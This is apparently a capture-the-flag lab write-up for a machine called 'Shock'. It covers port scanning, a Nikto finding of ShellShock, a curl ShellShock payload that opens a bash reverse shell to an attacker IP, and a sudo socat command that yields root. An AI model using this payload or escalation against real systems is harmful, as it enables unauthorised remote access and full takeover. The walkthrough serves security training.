> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/shock.md).

# Shock

## nmap

```
mkdir nmap
sudo rustscan -a 172.31.1.3 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

A web service is open on port 80

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjYuO4lV7pbRXP61lTE%2F-MjYujPXFXnGpdYEqUps%2Fimage.png?alt=media&amp;token=e8dda83c-44ef-46ae-8f99-08a2fc141c29" alt=""></div>

And we can confirm that port 80 is really a web server.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjYuO4lV7pbRXP61lTE%2F-MjYv-h17_v3kqqEeYrg%2Fimage.png?alt=media&amp;token=a3c56882-538e-4c32-9315-023e98311be4" alt=""></div>

Let's run Nikto, and after some time running, looks like the server is vulnerable to ShellShock vulnerability.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjYuO4lV7pbRXP61lTE%2F-MjYvYLSqRKnAXdYY5XT%2Fimage.png?alt=media&amp;token=35970a5c-8a91-4167-8634-4d43c480e4e8" alt=""></div>

## Exploitation

Since the shellshock vulnerability is pretty popular, we can find how to exploit and get a reverse shell from [hacktricks](https://book.hacktricks.xyz/pentesting/pentesting-web/cgi)

```
sudo nc -lvnp 80
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.0.41/80 0>&1' http://172.31.1.3/cgi-bin/test.cgi
```

Craft the shell to your needs and you should receive your shell.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjYuO4lV7pbRXP61lTE%2F-MjYwS-TtPaomTEwK47r%2Fimage.png?alt=media&amp;token=9029b07a-f004-4ed3-b40d-2401fef865e3" alt=""></div>

## Privilege Escalation

Running `sudo -l` we can confirm that we can run `socat` with root privilege without a password.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-MjYuO4lV7pbRXP61lTE%2F-MjYws7EINjyQUiIAflE%2Fimage.png?alt=media&amp;token=d227dfc6-c54e-4c4e-8cfd-aaee06ef2d65" alt=""></div>

To gain root privilege, run the following

```
sudo socat stdin exec:/bin/sh
```
